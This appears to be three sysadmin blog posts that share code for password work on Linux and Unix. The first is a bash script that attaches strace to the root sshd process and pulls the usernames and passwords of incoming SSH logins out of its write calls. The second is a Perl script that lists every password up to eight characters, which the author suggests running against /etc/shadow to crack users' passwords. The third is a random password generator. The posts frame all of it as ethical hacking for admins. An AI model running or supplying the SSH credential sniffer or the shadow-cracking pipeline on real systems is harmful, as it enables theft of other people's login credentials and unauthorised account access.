Wednesday, May 27, 2009
Snooping For Usernames And Passwords Over SSH Using Strace On Linux
Hey There,
Well, it's about time for me to quit working, so I can get up and make it work on time tomorrow ;) All kidding aside, nowadays, I'm just glad I have a job. This economy is miserable. But I'm still a glass half full kinda guy ;)
It's been a while since we've done any posts on "ethical hacking" (breaking the system to make it more secure), like our old post on grabbing Usernames And Passwords Over Telnet Using TcpDump On Linux , but today, I got a little bug in me and decided to see what could be done about SSH.
Well, SSH is pretty secure - as advertised ;) However, I found that, if you have the root privilege to snoop an interface for username and password traffic, you can just as easily trace SSH processes using strace; getting much the same results. The only real limitation is that you can't grab information that's floating by and/or through your machine; only traffic directly connecting to it. But, if you're setting up a honeypot, the bees should be coming to you, anyway ;)
You can run this shell script (which I'll admit is a little sketchy - written under duress ;) fairly simply, like so:
host # ./ssh-snoop
The picture below shows the minimal interactivity at startup (just to confirm that you get the base SSH process - since the strace call will run down all the forked processes from the root). In the case shown below the username is "user123" and the password is "easyPass" You'll have to sift through a few lines of garbage, but it's better then combing the full strace output:
Click the Picture Below To Biggie-Size Your Passwords ;)
Thank God you're not this poor bastard
Hope you enjoy this and that it helps you convince at least one other person that a real need for security actually still exists :)
Cheers,
Creative Commons License
This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License #!/bin/bash
#
# ssh-snoop - not really snooping or tcp-dumping, but close enough :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
ssh_root_proc=`ps -ef|grep "[s]shd"|awk '{ if ( 3ドル == "1" ) print 2ドル}'`
echo "SSH root proc has been discovered as PID $ssh_root_proc"
echo "Please check ps output below to determine if this is correct"
echo
ps -ef|grep "[s]shd"
echo
echo "enter y or Y if correct or correct PID number. Ctl-C to exit"
read ssh_pid
if [ "$ssh_pid" = "y" -o "$ssh_pid" = "Y" ]
then
ssh_pid=$ssh_root_proc
elif [ -z "$ssh_pid" ]
then
echo "No valid confirmation or PID entered. Exiting..."
exit 1
fi
echo "Building user login grep pattern from /etc/passwd"
user_grep=`awk -F":" '{ if ( 3ドル> 100 ) print 1ドル}' /etc/passwd |xargs -ivar echo -n "var|"|sed 's/$/password/'`
echo "Setting SSH root proc to $ssh_pid"
echo
echo "Dumping Output - Ctl-C to quit and examine"
passcount=9
passpossible=0
strace -f -etrace=write -s 64 -p $ssh_pid 2>&1|while read SSH
do
pass_test=`echo $SSH|grep -i password`>/dev/null 2>&1
if [ $? -eq 0 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
passpossible=1
elif [ $passpossible -eq 1 -a $passcount -lt 9 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
let passcount=$passcount+1
passpossible=1
else
xline=`echo $SSH 2>&1|grep write|egrep $user_grep`
if [ ! -z "$xline" ]
then
echo "POSSIBLE USERNAME: $xline"
fi
passcount=0
passpossible=0
fi
done
, Mike
Please note that this blog accepts comments via email only . See our Mission And Policy Statement for further details.
Friday, January 18, 2008
Script To Generate All Possible Passwords With Perl
In Yesterday's post, we took a look at how it's possible to use Perl to deal with generating random passwords, and that post was meant to link in with its preceding post. While it, technically, fulfilled that requirement, it took a while to elaborate on scripting out random passwords so I tried to keep on point, since it turned out to be a post's worth of information in itself.
With that in mind, in today's post, we're going to look at another part of the password puzzle: Generation of all possible passwords within a given numeric range. This might otherwise be referred to as brute-force password generation (which is the reason I wrote it using brute-force scripting :). What we're going to accomplish today is to create a simple "password generator" script that will allow us to generate all possible passwords (or all possible combinations of the 94 standard ASCII characters that make up valid passwords) up to an 8 character password. This has been tested on both Solaris Unix and RedHat Linux. One day, I'll stop compulsively typing that. If a script works in Perl, using that language's basics, its a given that it will work on most Unix/Linux systems you can install it on.
Please bear in mind that using this program is simple, but, depending on how you use it, it may take up all of your disk space and lots of your computer's time ;)
By way of explanation: This script produces one entry per line into a file, so that you could feed that file to a program like the one we looked at in this post.
Now, if we were to run it with the following arguments (we'll call it 8gen.pl for whatever goofy reason I pick the names I pick for my scripts ;)
host # ./8gen.pl 1>OUTPUT <--- Note that, especially when running with larger number arguments, you should redirect the script output to a file, rather than "tee" it off, since viewing the tty/pty buffer as password combinations are generated could introduce a giant lag between completion of the script's execution and your getting a shell prompt back!
it would generate, in under a second, a file 94 lines long, with each line containing 1 of each of the 94 characters available (Please see the script's @94 array to check out all the variables. It's too insane to type over and over again ;), like this:host # wc -l OUTPUT
host # 94 OUTPUT
These numbers (both the size of the list in lines and the amount of time it takes to run the program) increase with each added level. They both increase exponentially which is more evident to the user if you're running an 8 character execution than if you're running a 2 character execution.
Let's say we decide we want to list out all possible 2 letter passwords. We would do this:
host # ./8gen.pl 2>OUTPUT
And check out how big that gets (all combinations from aa to ??):host # wc -l OUTPUT
host # 8836 OUTPUT
Just to be sure we're right about this, let's check with the standard Linux and Unix "dc" utility by typing:
host # echo 94 2 ^ p | dc
host # 8836
and see that using 2 characters is actually the 94 original characters to the exponent of 2. This theory relates to every level you go up. So running it for all combinations of 4 letter passwords would be the 94 characters to the exponent of 4 as demonstrated here:host # echo 94 4 ^ p | dc
host # 78074896
host # ./8gen.pl 4>OUTPUT
host # wc -l OUTPUT
host # 78074896 OUTPUT
And the time to wait for your list to generate? It may very well be exponentially longer. If you're going to run a 4 character execution, go grab a cup of coffee. If you're going to run an 8 character execution, depending on your machine, you might as well go home, get some rest and come back in to work the next day. Then it might be halfway done ;) I've never had the patience or desire to try and sneak this in at work and the boxes I have at home would take weeks to run this (94 to the 8th power will generate 6,095,689,385,410,816 unique passwords).
Example running on a SunFire v490 with 4 x 1350Mhz CPU and 32GB RAM:host # time ./8gen.pl 2>OUTPUT
real 0m0.47s
user 0m0.04s
sys 0m0.38s
host # time ./8gen.pl 4>OUTPUT
real 5m59.03s
user 5m37.10s
sys 0m2.86s
Once you've created a master password file, like so:
host # ./8gen.pl 8>OUTPUT
you can use the OUTPUT file with the "pwdcheck" Perl script we introduced a few posts ago. Then, assuming you have the root privilege required to access and read your /etc/shadow file, you can set that on auto (perhaps trim the print statements so "pwdcheck" only prints out matches) and will eventually guess everyone's password. At this point, it's really only a matter of time, because you will be checking every possible combination of 94 possible characters in all 8 positions of the password. You can prove this to yourself simply by grepping any valid 8 character string from your OUTPUT file. It will be there (trust me)!
host # grep sN@gg3r$ OUTPUT
host # sN@gg3r$
...
Note that this also assumes that your password system is limited to an 8 character boundary, like Sun's standard. If you wanted to run up against more advanced password systems with better encryption and longer possible passwords, you'd just need to use your scripting abilities to modify both scripts slightly in order to achieve the same end result.
This Perl script should hopefully be a helpful tool in your constant fight against lame passwords. And, as always, though it can be used for less than ethical purposes, please understand that I only put this stuff out to try and help other admins like myself make their workplace more secure. Since any disgruntled lunatic can use these same methods to make your work-life miserable, you owe it to yourself to know how to do it, too.
Knowledge is power. If you know what your adversary knows, you're doing better than most :)
Enjoy,
Creative Commons License
This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License #!/usr/bin/perl
#
# 8gen.pl - generate all possible password
# combinations up to 8 characters
# Usage: 8gen.pl Password_Length (1 - 8)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
if ( $#{ARGV} < 0 ) {
print "\nUsage: 0ドル password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
exit(1);
}
$pass_length = $ARGV[0];
@94 = qw(a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ` 1 2 3 4 5 6 7 8 9 0 - = [ ] \ ; ' , . / ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ?);
if ( $pass_length < 1 || $pass_length > 8 ) {
print "Usage: 0ドル password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
}
$a = $b = $c = $d = $e = $f = $g = $h = 94;
if ( $pass_length == 8 ) {
for ($a=0;$a<94;$a++) { for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s%s\n", 94ドル[$a], 94ドル[$b], 94ドル[$c], 94ドル[$d], 94ドル[$e], 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } } } } } } }
} elsif ( $pass_length == 7 ) {
for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s\n", 94ドル[$b], 94ドル[$c], 94ドル[$d], 94ドル[$e], 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } } } } } }
} elsif ( $pass_length == 6 ) {
for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s\n", 94ドル[$c], 94ドル[$d], 94ドル[$e], 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } } } } }
} elsif ( $pass_length == 5 ) {
for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s\n", 94ドル[$d], 94ドル[$e], 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } } } }
} elsif ( $pass_length == 4 ) {
for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s\n", 94ドル[$e], 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } } }
} elsif ( $pass_length == 3 ) {
for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s\n", 94ドル[$f], 94ドル[$g], 94ドル[$h]);
} } }
} elsif ( $pass_length == 2 ) {
for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s\n", 94ドル[$g], 94ドル[$h]);
} }
} elsif ( $pass_length == 1 ) {
for ($h=0;$h<94;$h++) {
printf("%s\n", 94ドル[$h]);
}
}
, Mike
linux unix internet technology
[フレーム]
Thursday, January 17, 2008
Perl Random Password Generator For Linux and Unix
As we noted in yesterday's post, we took a look at how it's possible to use Perl on Linux and Unix to try and find whether or not any given password exists within a system's /etc/shadow file.
In today's post, we're going to look at another part of the password puzzle: Password generation. This is slightly different than sequential password generation (which we'll look at tomorrow), in that the passwords that are generated are intended to annoy ;) In other words, the probability that any of these passwords could be found in a shadow password file is highly unlikely. And, if you did find one, I don't know if it would be grounds for penalty. That user would have an unbelievable secure password under any other circumstance!
This code has been tested on Solaris Unix and RedHat Linux and works almost every time (I can't speak to the infinite, but it hasn't failed me yet ;)
This script makes use of Perl's built-in rand function, which works in much the same way as the standard Unix or Linux random function does. The rand function is fed some slightly random data (certainly not good enough to seed any viable encryption) and generates random ASCII characters.
I wrote this up so that it can be invoked simply by its name, like so:
./pwdgen
and requires no argument. This script will pump out 8 character garbage passwords, like this:
O[W291,A
21&V-*4Q
('$9円@:<
YU="M1A>
;<<WG@(>
...
and it will go on forever until you either kill it or it finds that it has created a duplicate. Check it out, enjoy it and feel free to improve upon it. A simple change can make it so it only spits out a certain number of random passwords.
If you use it creatively, you can incorporate it with other Linux and Unix shell scripts to provide input for password cracking programs. Although, as I mentioned above, if I found any of these passwords among my users' passwords, I certainly wouldn't complain ;) Tomorrow we'll look at a way to generate real passwords (kind of like JTR does) that can be fed to the script we looked at yesterday to do some in-house brute-force password cracking against your shadow database file. Again; this sort of shell scripting is only recommended for security enhancement!
Best Wishes,#!/usr/bin/perl
#
# pwdgen - Create insane 8 character passwords to
# encourage users to beef up their password strength
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
for ( $i = 1; $i > 0 ; $i++ ) {
$random = rand('netstat -a'*10000);
$count=0;
$newpassword = "";
while ( $count < 8 ) {
$tester = rand('netstat -a')*100;
if ( $tester < 33 ) {
$tester += 33;
} elsif ( $tester > 93 ) {
$tester -= 7;
}
$newpassletter = sprintf("%c", $tester);
$newpassword .= $newpassletter;
$count++;
}
$newpassword =~ s/ ?//g;
if ( exists $passwords{$newpassword} ) {
print "Found a pattern on step $i with password $newpassword\n";
exit;
} else {
$passwords{$newpassword} = $i;
}
print "$newpassword\n";
}
, Mike
linux unix internet technology
[フレーム]